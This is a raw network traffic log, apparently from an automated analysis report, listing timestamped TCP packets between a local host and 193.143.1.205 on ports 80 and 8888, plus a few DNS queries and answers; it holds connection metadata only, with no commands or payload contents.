Jan 10, 2025 21:20:57.958779097 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958784103 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958789110 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958792925 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958794117 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958796978 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.958811998 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958827972 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.958846092 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.959739923 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959750891 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959769011 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959778070 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959786892 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959805012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959810019 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.959815979 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959830046 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959830999 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.959836960 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959841967 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959842920 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959846973 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959853888 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.959862947 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959882021 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959892988 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.959897995 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959908962 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959919930 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959923983 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.959929943 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959932089 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.959949017 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959960938 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.959961891 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959971905 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959984064 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.959986925 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.959999084 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960022926 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960031033 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960042000 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960052013 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960052967 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960062027 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960072994 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960073948 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960084915 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960094929 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960102081 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960105896 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960115910 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960119963 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960154057 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960268021 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960284948 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960294962 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960304976 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960310936 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960315943 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960326910 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960338116 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960338116 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960349083 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960360050 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960364103 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960391045 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960412979 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960412979 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960413933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960418940 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960423946 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960433960 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960447073 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960460901 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960489988 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960740089 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960815907 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960827112 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960838079 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960858107 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960869074 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960871935 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960881948 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960892916 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960897923 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960905075 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960907936 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960936069 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.960968971 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960978031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960987091 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.960999012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961009979 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961010933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961020947 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961031914 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961041927 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961055040 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961055994 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961067915 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961072922 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961083889 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961095095 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961105108 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961106062 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961117029 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961124897 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961127043 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961137056 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961148977 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961153984 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961164951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961738110 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961750031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961759090 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961770058 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961781025 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961787939 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961800098 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961811066 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961817026 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961822033 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961833000 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961844921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961854935 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961855888 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961869001 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961889029 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961909056 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961921930 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961930990 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961941004 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961951971 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961956024 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.961962938 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.961980104 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962025881 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962035894 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962045908 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962058067 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962064981 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962069035 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962079048 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962086916 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962117910 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962130070 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962177992 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962692022 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962703943 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962718010 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962744951 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962752104 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962763071 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962774038 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962785006 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962790966 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962796926 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962824106 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962846041 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962873936 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962884903 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962894917 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962907076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962918043 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962928057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962929964 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962939978 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962956905 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962956905 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962968111 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.962969065 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962980032 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.962990999 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963000059 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.963004112 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963016033 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963027000 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963027954 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.963038921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963051081 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963051081 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.963063002 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963067055 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.963090897 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.963879108 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963890076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963900089 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963911057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963922024 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963936090 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.963937044 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963948011 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963958979 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963969946 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963969946 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.963983059 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.963985920 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964020967 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964030981 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964040995 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964051008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964062929 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964068890 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964073896 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964085102 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964096069 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964097977 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964104891 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964117050 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964127064 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964138031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964138985 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964138985 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964148045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964159012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964162111 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964169025 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964179993 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964184046 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964196920 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964211941 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964577913 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964634895 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964679003 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964720011 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964783907 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964795113 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964806080 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964818001 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964828968 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964833021 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964840889 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964848995 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964852095 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964870930 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964875937 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964884996 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964890957 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964903116 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964915037 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964925051 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964931965 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964939117 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964948893 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964950085 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964967012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964975119 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.964977026 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964987993 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.964997053 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.965008020 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.965014935 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.965039968 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.965058088 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.966855049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.966865063 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.966882944 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.966892958 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.966902971 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.966917038 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.966926098 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.966948032 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.966969967 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.966975927 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.966985941 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967025995 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.967283964 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967329979 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.967339993 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967350960 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967360973 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967371941 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967390060 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967396975 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.967401981 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967412949 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967415094 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.967425108 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967434883 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967442036 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.967446089 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967457056 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967468023 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967470884 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.967479944 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967489958 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.967490911 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967504025 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967509031 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.967519045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.967540026 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.967562914 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.990787029 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.990802050 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.990813971 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.990823984 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.990835905 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.990847111 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.990864992 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.990875006 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.990886927 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.990897894 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.990909100 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.990921021 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:57.991097927 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.991097927 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:57.991099119 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:58.030945063 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:58.166449070 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:58.806855917 CET	49706	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:58.811697960 CET	8888	49706	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:58.811790943 CET	49706	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:58.814225912 CET	49706	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:58.819117069 CET	8888	49706	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:59.586143017 CET	8888	49706	193.143.1.205	192.168.2.10
Jan 10, 2025 21:20:59.633681059 CET	49706	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:20:59.668595076 CET	49706	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 21:22:49.302840948 CET	53757	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:22:49.307729959 CET	53	53757	1.1.1.1	192.168.2.10
Jan 10, 2025 21:22:49.307801962 CET	53757	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:22:49.307884932 CET	53757	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:22:49.312768936 CET	53	53757	1.1.1.1	192.168.2.10
Jan 10, 2025 21:22:49.798719883 CET	53	53757	1.1.1.1	192.168.2.10
Jan 10, 2025 21:22:49.803042889 CET	53757	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:22:49.808110952 CET	53	53757	1.1.1.1	192.168.2.10
Jan 10, 2025 21:22:49.808216095 CET	53757	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:21:07.450599909 CET	55068	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:22:49.302351952 CET	53	57231	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:21:07.450599909 CET	192.168.2.10	1.1.1.1	0x5000	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:21:07.457995892 CET	1.1.1.1	192.168.2.10	0x5000	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:21:08.171704054 CET	1.1.1.1	192.168.2.10	0x373e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
